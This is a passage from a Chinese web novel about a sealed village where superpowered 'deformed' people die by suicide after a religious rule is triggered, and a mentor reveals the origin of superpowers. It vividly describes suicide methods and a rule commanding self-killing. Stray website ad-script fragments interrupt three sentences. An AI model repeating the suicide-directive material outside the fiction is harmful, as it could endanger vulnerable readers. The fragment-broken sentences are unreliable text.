洗完澡,陈影笙换上和村民一模一样的白麻衣服,阿芳拿着一个小巧的花环笑盈盈地走来: “阿蓝编的,他的超能力用在编织东西上很合适,快戴上看看。” 陈影笙没有拒绝,她问:“为什么要给我戴花环?” “为了欢迎仪式打扮得漂亮一点。” “仪式?”陈影笙隐隐有不好的预感。 但阿芳被阿红叫走了,她没有机会追问。 两个村民说了几句话,阿芳回来说:“阿球死了,她的送别仪式和你的欢迎仪式一起开,我们快去广场上吧,全村人都会来。” 陈影笙以为阿芳在开玩笑,她的神情没有一丝悲痛,说到阿球的死讯像是在泡茶。 “是阿球的恶作剧吗?”陈影笙问,“和把镜子放进圣柱一样?” 阿芳陈述事实:“不是,阿球死了,尸体就在后面的水塘。” 陈影笙冲出房门。 阿蓝和阿红刚把肉块打捞出来,肉块身上绑着一块巨石,巨石和肉块一起沉入塘中,让拥有漂浮能力的阿球无法自救。 巨石上的绳结复杂且结实,阿球只有四个短短的肉触,不可能是她自己绑的。 阿芳说阿蓝的超能力很适合用来编织。 陈影笙抱着最后一丝期望,看着阿蓝的方向:“是谁把石头和阿球绑在一起?” “我绑的。” “为什么?” “她说她要自杀。” 陈影笙勃然大怒:“你在开玩笑吗?她自杀你还帮她?” 无论如何,陈影笙都不会接受这种荒唐的说辞,这比满村的畸形人都荒唐。 阿蓝没听出她的反问句,他平静极了:“没有,不是玩笑,她要自杀,让我帮她。” 陈影笙觉得分外疲惫,从看见圣柱的那刻起她就察觉到了,Agape十有八九是洪金胜本我教的变种教会,她甚至怀疑用谎言囚禁洪金胜的假神就是Agape的那位牧首。 如果她猜测正确,那么眼前的畸形人全是虔诚的信徒,信徒的想法正常人无法理解,也不用理解。 于是陈影笙说:“我想见导师。” 阿芳回答:“仪式上会有导师的亲笔信。” 陈影笙默默来到广场,她和死去的阿球被安置在加高的台子上,台下是畸形得各式各样的村民。 他们大多是年轻人,年纪最大的是一位老爷爷,老爷爷没有小腿,膝盖下是穿着鞋子的脚。 发现陈影笙在观察老爷爷,阿芳主动说:“那是阿谢,他家离广场最近,家里有个昏迷不醒的家人,他的超能力没什么用处,生活很艰难。” “村里所有人都有超能力吗?” “当然。”阿芳奇怪地看她,疑惑于竟然有人能问出这种问题。 仪式很快开始了。 和陈影笙想象中的恐怖仪式完全不同,是很正常的送别仪式。 村民们轮流上前,和阿球告别,他们的脸上看不到任何情感,好像在送别一个陌生人。 陈影笙的欢迎仪式相对热闹,大家围在一起吃吃喝喝,食物都是村子自产的,他们用先进的农具和各式各样的超能力做到自给自足。 台上用鲜花装饰着一个盒子,据说是给陈影笙的礼物,为了欢迎她入住瀛洲。 宴会结束,空间划过一道涟漪,吐出一封信。阿红一把抢过信,激动地说:“是导师!导师的亲笔信!” 陈影笙冷眼旁观,Agape动用好几位成员把她骗进异空间,总不能只为了让畸形人给她举办欢迎仪式。 阿红大声念出信上的字:“请陈影笙上台发言,她说的话必为真理。” 一阵窃窃私语。 所有畸形人的目光都集中到陈影笙身上,大家的目光充满期待。 陈影笙慢慢走到台上。 “我没什么想说的,我的话也不是真理。” “我只想问一个问题,为什么大家不知道自己是畸形人?” 一片寂静。 陈影笙从几个五官完整的畸形人脸上看到灰败与恐慌,她耐心等待答案。 所有人突然四散开来,沉默不语地回到家中。 陈影笙茫然地站在原地,和阿球的尸体留在一起。 她看着阿球的尸体,脑海中突然冒出一个疯狂的想法:阿球不是被阿蓝杀死的,是听见陈影笙的话后自杀而死。 被鲜花装点的礼物盒极其刺目,陈影笙拆开礼物盒,看见盒子中静静陈列的一张纸。 纸张颜色泛黄,上面写满红字,制式与万花筒中白发少女提供的规则一模一样,陈影笙几乎真的以为自己还在何康的万花筒中。 纸上写着瀛洲守则: 1.村里有畸形人,畸形人不是人类,是被自己的超能力取代后活着的尸体。 2.每个人都能看见别人的长相,但不能知道自己的长相,也不能讨论任何关于长相的话题。 3.没人知道“畸形”具体是什么意思,但如果不幸知道自己是畸形人,为了人类总体的利益与福祉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,请立即自杀,周围人必须配合。 陈影笙疯狂跑回阿芳家,家里安静得像一具合葬的棺冢。 厨房里,阿芳的超长手臂全部塞入嘴中,婴儿般的手指刺穿幼嫩的咽喉,死相极其凄惨。 水塘边,阿蓝的长手指在脖子上打了一个死结,他的脸呈现恐怖的紫黑色,窒息失禁后的液体和固体堆在身下。 陈影笙后退两步。 她一句话害死所有人。 还有一个人,陈影笙的脑海中闪过这个念头,她的脚好像不受大脑的控制,疯了般跑回广场。 离广场最近的是阿谢家,阿芳和她说过,阿谢家有个昏迷不醒的家人。 家人没听到她的话,肯定还活着。 陈影笙咚的一声推开门,一间间卧室寻找。 第一间卧室,死去的阿谢静静躺在床上,陈影笙果断关上门,闯入第二间卧室。 是何康,昏迷不醒的家人竟然是何康。 被掳走的何康像刚睡醒,他伸了个懒腰,用充满好奇的目光看着门口的陈影笙。 他扬起一个微笑:“你好,请问有吃的吗?” 陈影笙怔怔地看着他。 何康从床上下来,似乎还不太熟悉新得到的肢体,他的腿呈30度夹角分开,像两根飘带般迈动,然后习惯性用头磕碰地板。 哒哒、哒,哒哒、哒 他走了几步,发现身体足以支撑头颅的重量,不用再拿头磕碰地板。 “不好意思,睡了太久,还没缓过来。”何康尴尬地说。 不,不应该叫它何康,它是何康的超能力本身,是取代何康的怪物——万花筒中的躯干泰迪。 这就是超能力的真相吗?陈影笙的大脑一片空白,她近乎失去声音,陷入一个恍惚的状态。 所有超能力者都会被自己的超能力杀死,然后被取代? 那她的亲人朋友呢?陈凡繁、王锐斌、左絮飞还有马雨双...... 他们都会变成这样的怪物吗? 面前披着何康躯壳的躯干泰迪再次重复:“有食物吗?我好饿。” 它的语气近乎于撒娇,陈影笙不知道它是在模仿人类,还是它本身就会撒娇。 她一言不发地来到厨房,从冰箱里拿出一袋馒头,躯干泰迪捧着馒头大口大口吃起来。 它的背后,陈影笙举起平底锅。 “咚——” 人类头骨与铁锅奏出悠长的回声,锅底被打到变型,血液从头部溢出,躯干泰迪缓缓倒下。 陈影笙扔下平底锅。 “导师!你在哪里?” 没人回答她,也不会有人回答她。 陈影笙盯着地上的躯干泰迪,脊背上一根根寒毛竖起。 阿球阿芳阿蓝的死法都和他们的超能力有关,那么阿谢呢? 阿谢躺在床上,简直像寿终正寝。 或者不是寿终正寝,他根本没有死,他不是畸形人。 第一间卧室中,阿谢的姿势没有任何变化。陈影笙连他的鼻息都懒得去探,她一把拽下阿谢的鞋子。 膝盖下没有脚,是两个整齐平滑的断口,愈合后的皮肤光滑洁净,颜色比大腿上的皮肤浅很多。 阿谢根本不是什么畸形人,他是一名失去小腿的正常人类,生活在瀛洲伪装成畸形人。 陈影笙扔掉鞋子,她后背的衣服早已被汗水浸湿,她颤声说: “是你吗,导师。” 74. 闻愿 床上的导师缓缓睁开眼睛。 “你长得不像你妈妈,说话方式倒是和她十成十的像,都喜欢用陈述句语调表达疑问句。” “你认识文苑?” 导师靠坐在床边,慈祥地笑了:“当然认识,那是我养大的第一个畸形人。” “你在说什么?” “文苑是我养大的第一个畸形人,我几乎忘记她是被超能力取代的人类,把她当成正常的小女孩看待。” 导师用怀念的目光盯着虚空中一点:“我将她从圣柱中抱出来,养育她的过程很艰辛,她毕竟不是人类小孩,但我从中感到了为人父的快乐。” 陈影笙怒极反笑,讽刺道:“谢谢你啊,那我是不是该管你叫姥爷?” “别叫我姥爷。”导师还是很平静,仿佛没察觉到陈影笙的怒意,“我的感性告诉我养女儿很快乐,我的理性告诉我畸形人不是我的同族,我不应该对她抱有任何感情。” “超能力不是这个世界应有的力量,它们自域外而来,从科学角度讲,你可以把它们当做外星人;从玄学的角度讲,你可以把它们当成天魔。” 陈影笙问:“它们的目的是什么?” “取代人类,你看到了。它们的世界和我们的完全不一样,这里不存在光学。它们不需要光学,也不需要一切科学。” 陈影笙很快想明白了:“因为认知中有光,所以这里是明亮的?” “没错。”导师用赞扬的目光看着她,“我用超能力构筑了异空间,这里没有光,它们相信有光便制造出光。” “是不是很可怕?如同人类幻想中的神明,所想即所得。我不得不将它们囚禁在异空间中,限制它们的认知,用宗教规则作为最后一重保险。” “很高兴最后一重保险由你触发,另一个异空间很快要被畸形人填满,我会邀请你触发保险,希望你不要拒绝。” 保险就是瀛洲守则,隔一段时间触发一次,所有畸形人都会自杀,所以瀛洲内没有老年人,全是年轻人。听导师的意思,他制造的异空间不止一个瀛洲。 “为什么你说的话我要信?”陈影笙漠然道。 导师笑了:“当你问出这句话时,你就知道我说的都是真的。” 确实如此,陈影笙感到分外挫败,类似的对话曾经发生在她和任珊珊之间。 刘天怡的万花筒中,她位于导师的角色,破解所有真相,知晓一切秘密,高高在上地击碎任珊珊故作冷静的外表。 陈影笙强迫自己冷静:“但文苑不是畸形。” “是畸形人,文苑天生没有内脏器官,她没有生育能力。” 陈影笙真的笑出声,她仿佛听见一个无比好笑的笑话,笑到眼泪都出来了。 导师吃力地挪动身体,坐到床边:“你一定想问,文苑无法生育,哪来的你?” 陈影笙不笑了。 “许愿。你来自陈途的一个愿望。” “圣柱是文苑的第一个信徒,她自圣柱中诞生,为了满足信徒们的愿望,是信徒们的寄托之物。” 圣柱上血淋淋的洞口浮现在陈影笙面前,她仿佛看到婴儿文苑诞生,在尸块中睁开一双清澈的眼睛。 “陈途是文苑的第二个信徒,他对文苑的爱不是信仰却接近于信仰。” “我不是来听父母爱情故事的。”陈影笙面无表情。 “那已经脱离简单的爱情了。”导师低低地笑,“陈途献出一个从未有过信仰的人的信仰,他却非要称呼它为爱情。” “文苑的超能力是什么?” 导师含笑说:“你已经猜到了。” “像何康一样?她是一个许愿机器?” “可以这么理解,你甚至可以认为何康是死去的文苑转世,超能力会从一具身体换到另一具上。” 陈影笙不为所动:“你想告诉我,我刚才亲手杀死我妈?” 导师漫不经心地说:“那不是你妈妈,它只是一个超能力。它不是你的亲人,也不是你的同类,你杀它就像杀死瀛洲内所有畸形人,不要有负担,你做的是对的。” 陈影笙说不出一句话。 好半天她才回过神:“你杀畸形人杀了多长时间?” 导师短促地笑了一声,他简短回答:“一辈子。” 他说:“剑侠告诉我,你见过洪金胜。” “内鬼是剑侠?当初参与阿苦万花筒的6个人……是公孙室!” 导师没有否认,他继续说:“洪金胜是我的养父,就像我是文苑的养父。” “你是圣子?” 洪金胜说过,他收养了两个孩子,在教内定下圣灵圣子圣女三位一体的教义。 导师点头:“我本名谢广恩,是寂静十年后诞生的第一个超能力者。洪金胜收养我,利用我的能力在那位的支持下开创本我教。” “那位?” “你知道她是谁。” 陈影笙很快反应过来:“本我教的活神……不,假神,能夺舍的超能力者,她喜欢以修女的形象出现。” 导师很欣慰:“看来你和她见过面了,她现在是Agape的牧首。牧首是世界上第一个超能力者,诞生自新历前。” “最早的能力者们奉她为神明,在她的鼓动下开启超能力战争。她要重新划分种族,保证超能力者拥有高人一等的地位。” 他说的是新历5-13年的超能力战争,8年时间,战争扩散到全世界范围,超能力者们几乎达成目的,没有超能力的普通人害怕他们拖着全世界一切毁灭。 陈影笙说:“但新历14年迎来了十年寂静。” 十年寂静期间,没有超能力者诞生,战争自然结束了。 “是她做的。”导师长长叹气,“她虽然从不承认,但所有人都知道是她做的。当时没有人知道为什么,只觉得被神明背叛。” “所有人都觉得不可思议,她被普通人迫害过,曾经那么激进,却突然放弃仇恨,结束战争。” “等我知道了真相,才发现她简直是人类的救世主,她把人类灭绝推迟十年。” 想起牧首附身何翠凤后咬舌自尽的果断与狠绝,陈影笙大概猜到所谓迫害是什么。 “她靠什么让超能力者不再诞生?”陈影笙猜测,“又是许愿?许愿的机会需要人命堆积?” “没错,你和你妈妈一样聪明。” 陈影笙问:“用8年战争堆积出的许愿机会,值得吗?” 导师看陈影笙的眼神像是在看一个不懂事的孩子,陈影笙讨厌这样的眼神。 “截止目前,外面的世界认为超能力的本质是什么?”导师问。 “进化。” “对,外界的主流声音是自然进化,也有人认为是基因突变,还有放射性物质或核 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 污染等阴谋论。” 导师拿起床头柜的水杯:“少数人发挥想象力,提到外星人或异种入侵,但被嘲讽成科幻片看多了的精神病。” “包括洪金胜的本我教,都认为超能力是进化,他管普通人叫药渣,认为人类只是一味药材,是超能力者的前置。” 在陈影笙亲眼看见躯干泰迪侵占何康的身体前,她也支持自然进化论。这件事就像恐龙灭绝,谁也说不清具体原因。 但她还是硬着头皮说:“我们发展的本源是科学,除超能力以外,一切都可以被理解,我们的科学家破解世间万事万物只是一个时间问题。这是人们一直以来的认知,靠着这个认知才发展到现在。” “万事万物都可以被破解……”导师喃喃地重复,“我曾经是这么认为的。” 陈影笙说:“就算没有超能力,我们也会继续发展科学。” “超能力的存在不会让科学继续发展下去。”导师叹气。 “它们的能力是唯心的,和我们世界的科学完全相悖。如果没有超能力,百年时间过去,我们早已发明顶级AI技术,甚至拥有能替代我超能力的空间折叠技术。” 陈影笙思考:“但一切都放慢了,或者说停滞了,科技没有最关键的突破,AI局限于深度学习,把已有的文字图片像尸块一样拼接,无法拥有自己的思考与意识,空间折叠更是空中楼阁。” 她突然问:“你在异空间杀畸形人,无论如何也杀不尽,那些生活在外界的畸形人呢?它们替代了人类,如同伪人一样,它们会怎么样?” “不怎么样。”导师的脸上露出迷惘的神色,“王锐斌收养的小女孩是从瀛洲逃走的,她怎么样了?” 陈影笙摇头,那个小女孩虽然和正常孩子有差别,但从没做过什么出格的事,更不会像科幻电影中的外星人一样,对人类喊打喊杀要毁灭地球。 如果导师不把她拉来异空间,告诉她超能力的真相,她绝对不会想起老王的养女。 导师嘲讽地笑了:“王锐斌的儿子为此牺牲,一个人类用生命救了一个超能力,多么可笑。” 他收起脸上的笑容:“我曾经是这么想的,就像牧首曾经发动战争。” 他出神地望着自己截断的肢体,忽然说:“圣灵洪金胜被我欺骗,我的腿是我砸断的。” 陈影笙和他并排坐在床上,安静地倾听。 “我编造牧首要夺舍圣灵的谎言,亲自逼疯我的养父。然后和圣女串通,给圣灵提供虚假的飞升仪式,只为制造下一个许愿机器。” “我把自己的养父交给牧首,目送他被关进旧日工厂,变成给牧首产血的奶牛。我创造异空间,举起石块砸断自己的双腿,发誓一辈子伪装成畸形人,囚禁并虐杀这些穿着人皮的超能力。” 陈影笙忍不住侧头去看导师的面孔,他的脸上一片祥和,没有眼泪也没有后悔,只是有些茫然。 “最开始,我遇见一个杀一个。后来我发现超能力会转移,便开始囚禁它们。最终,我找到宗教控制的手段,把它们养大,让它们自己杀自己。” “我和我的养父没有区别,圣灵用宗教控制普通人,控制他口中的药渣;我用宗教控制畸形人,控制我痛恨的超能力。” 导师转头和陈影笙对视,他的神情终于产生一丝波澜:“可是文苑从圣柱诞生的那刻,我无法把她当成一个畸形人。” 75. 两次证伪 就像伪人测试中的圆环,伪人觊觎人类,取代人类,变成人类,它甚至完全忘记自己是伪人,那么它和人类还有什么不同? 从圣柱中诞生的文苑,一出生便是畸形人,但她的外表不畸形,内在也与人类无异。 如果没有“畸形人是取代人类的超能力”这个认知前提,谁都会把她当做一个普通的小孩看待。 陈影笙问:“那些没有被超能力取代的能力者们,他们如何做到的?” “什么都不相信。”导师回答。 “即便是表面上最笃信宗教的洪金胜,他内心其实也清楚,牧首不是神明而是人类,宗教只是他的工具。” 洪金胜对牧首的恐惧早已超越了所谓的信仰。 导师自嘲般笑了:“我不相信是因为我亲身经历过证伪。” “在我的少年时期,我接受的教育全是比外界进化学说更过分的高等论。本我教告诉我,我是被自然眷顾的高等生命,我是人类进化的最终形态。” “突然有一天,超能力的真相赤/裸/裸地摆在我面前,我甚至开始怀疑,我所在的世界是否是真实的。” 陈影笙也曾经有过这种感受,她总是不受控制地认为自己被留在何康的万花筒中。 导师的情绪有些低落:“我的世界就像一个三流写手笔下的推理小说,小说开篇告诉我,一切谋杀发生在现实中;到了结尾,突然说凶手是想取代人类的外星人。” “现实比小说更恐怖,我亲自找到凶手,亲自完成证伪。最恐怖的是,错误的不是推理过程,也不是思考逻辑,是一些我不知道的、无法理解的信息和事实。前人知道这些事实,却隐瞒下来,不愿透露给后人。” “直到今天我依然无法理解,超能力们如何靠唯心的力量让异空间持续明亮。” 导师又说回文苑:“最让我感到恐惧、疲惫和痛苦的是,超能力和人类没什么不同,养育文苑的过程真的和养大普通小孩没有太多区别。” 他痛苦地说:“我不由得产生了深深的怀疑:我做的一切有意义吗?我不如回到外界,做个无知无畏的普通人。” 陈影笙无法回答他。 她问:“为什么不把真相告诉世人或至少告诉一部分人呢?从那些心志坚定不会被取代的超能力者处寻求帮助。” 导师叹气:“你这么大的孩子没经历过战争。你猜,如果普通人知道真相,他们会对超能力者们做什么?” 陈影笙张了张嘴,半句话都说不出口。 导师简洁但坚决地说:“人类不配拥有真相。” 讨论了如此宏观的、广大的、事关人类命运的真相,陈影笙还是没明白,为什么要大费周章地将她带进异空间。 她问:“那我呢?从许愿中诞生的我是什么?文苑为什么自杀?陈途知道真相吗?” 导师定定望着陈影笙:“你见过牧首。” 陈影笙重复:“对,我见过牧首。” “赞美我们的将诞未诞之神!祂平等地抚过每个人的头顶,赐予世人超越现实的能力!”导师的脸上挂着慈祥的微笑,和牧首如出一辙。 他的眼睛平静如湖水:“我们会在无知无觉中与祂相遇,不在现在,不在过去,也不在将来。到时候,人才求告祂的名。” 陈影笙腾地一声站起来,她以为导师被牧首夺舍了,这是牧首对赵建宇说过的话。 “哈哈,别紧张。”导师狡黠地笑,“只是个玩笑,牧首再讨厌我也不会来夺舍我,她可没有耐心陪一群畸形人在这里玩过家家。” 陈影笙缓缓坐下。 导师仔仔细细地打量她,像是在估量一件宝物,他说:“你就是这样和牧首相遇的,在无知无觉中,不在现在,不在过去,也不在将来。” “万花筒!”陈影笙脱口而出。 她和牧首第一次见面是在刘天怡的万花筒中,完全符合无知觉、无时间两个要素。 “那是什么?”导师问。 看来Agape内部分歧很大,导师竟然不知道万花筒是什么,陈影笙默默地想。 她说:“这也是玩笑吗?我怎么可能是神?” “将诞未诞之神。”导师替她补充。 “是预言,本我教圣女的超能力。预言说,从超能力中诞生的神明将于新历99年1月4日赋予全人类超能力。” 1月4日发生了什么?陈影笙茫然地想。不用她回忆,她的大脑听见日期后立刻自动倒带。 那天她去洗猫,半道上被王锐斌一个电话喊去超管局,说是要测试新机器,她一口气进了两个万花筒。 她说:“可是1月4日什么都没发生。” “没发生是好事。”导师平静地说,“预言后半段被圣女隐瞒:‘觉醒超能力的同一天,人类灭绝。’” “但这也不能说明我就是那个神。” 导师觉得很好笑:“你觉得自己不是,不代表别人也觉得你不是。” 陈影笙也觉得好笑:“如果我是,从一开始就杀了我,什么都解决了。” 他们一起大笑起来。 导师边笑边骂:“就应该把你留瀛洲陪这群超能力玩过家家!” 笑够了,他恢复平静:“杀了你能解决什么问题?” “牧首当年杀了那么多人,最后人数不够,她连自己的躯壳都舍弃了,把自己变成不人不鬼死都死不掉的怪物,最后得到什么结果?” 他自问自答:“十年!” “只有短短的十年!连一代人都培养不出来,有什么意义?” 导师面色古怪:“唯一的意义可能是创造了牧首这个怪物,我总觉得她对将诞未诞之神的信仰已经达到真实的虔诚,会被超能力替代的那种虔诚,幸好她没有肉身,超能力没有机会。” 陈影笙隐隐猜到牧首最终的目的是什么,她感到毛骨悚然:“你们想要人类灭绝?” “不是人类灭绝,是预言中的前半段,全人类觉醒超能力。”导师纠正她,“而且不是‘你们’,是牧首的想法,我从来没这么想过。” 陈影笙寒毛依然竖立:“然后呢?她相信自己能阻止人类灭绝?” “她是不死的怪物,是疯子。”导师评价,“她相信全人类觉醒后,最优秀最坚定的那些人绝对不会被超能力替代。为此她重振旗鼓,从四十年多年前开始着手准备。” 陈影笙快疯了:“这不和她最初的认知一样吗?超能力者高人一等,强者才配活着?荒谬!” 她问:“那你呢?你怎么想的。” “我想留在瀛洲继续和畸形人玩过家家。” 陈影笙用 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看精神病患者的目光看着导师。 导师被她逗笑了:“别这么看我。” “我曾经认为,想要替代人类的超能力死不足惜,我做梦都想把它们杀光。但现在,我可以接受它们慢慢替代人类。” “你比牧首还疯狂。”陈影笙慢慢说,“你经历过一次证伪,现在又想经历第二次吗?” 导师叹息:“我老了啊。” “年轻的时候,我觉醒强大的超能力,得知了不起的真相,族群的存亡被我抗在肩上。我带着仇恨、愤怒和自己都察觉不到的得意,一下又一下砸断双腿,只为了混在畸形人中,做一个无人知晓的英雄。” “有什么用呢?”导师的眼眶中没有眼泪,只有无尽的茫然,“最近几年,我甚至觉得某些人类不如瀛洲里的超能力。” “我无能为力,我螳臂挡车,我是个做了一辈子无用功的废物。” 他手里的杯子跌落到地上,碎成两半,茶水汇聚成小小的水泊。 “而死神终会眷顾我,这是我一事无成的人生中唯一的慰藉。” 他看着陈影笙,目光中竟然充满怜悯:“死神不会眷顾牧首,她需要你去成为她的死神。” “算算时间,牧首也该追上周挚容了,你必须走了。” 陈影笙顿感不妙:“什么意思?我该去哪?” “去你想去的地方,只要不如牧首所愿,去哪都无所谓。” “那你和周挚容呢?”陈影笙问。 “我们帮助牧首做了太多错事,会迎来应得的结局。” 空间像是被撕裂的锦帛,一阵摩托车的轰鸣声从裂缝中传来,陈影笙还没来得及多问一句,就被摩托车上的人抓住后衣领,拎上车带走。 导师给自己穿上鞋子,拄着拐棍,用超能力给一个又一个豢养畸形人的异空间送去亲笔信。 亲笔信上只有一句话:村里所有人都是畸形人。 奇形怪状的村民们看完信件,立刻回到家中,执行早已安排好的自杀计划,如同六十多年前爬上圣柱的信徒们。 杀死所有畸形人后,导师像突然老了十岁。 他虚弱地躺在床上,安然闭上双眼。 一道平静低沉的女声从地上的水泊中传来:“好丑陋的死法,他们的痛苦傲慢又无礼。” 占据周挚容身体的牧首出现在水泊中,她问:“你怎么说服爱人的?” “我不用说服她。”导师笑了,“她想在人类灭绝前最后使用一次超能力,欺骗她的神明,然后被剥夺一切。” 周挚容不相信牧首能颠覆预言,她选择死在人类灭绝前,背叛牧首被牧首亲自杀死。 一声叹息搅乱水泊,牧首说:“没有人相信我会成功。” “你不会成功的。”导师坚定地说。 “我会成功,而你的生命即将走向终点。” “我的生命……”导师楠楠重复,“走向终点。” 他永远闭上眼睛。 水泊中的牧首转过身,发动水影显像的超能力者激动地看着她:“牧首,接下来我们——” 话语被中断,超能力也失效,拥有水影显像的能力者不可置信地倒在地上,死不瞑目。 牧首抽出血淋淋的短刀,回答死人的问题:“接下来我要去做一个好妈妈。”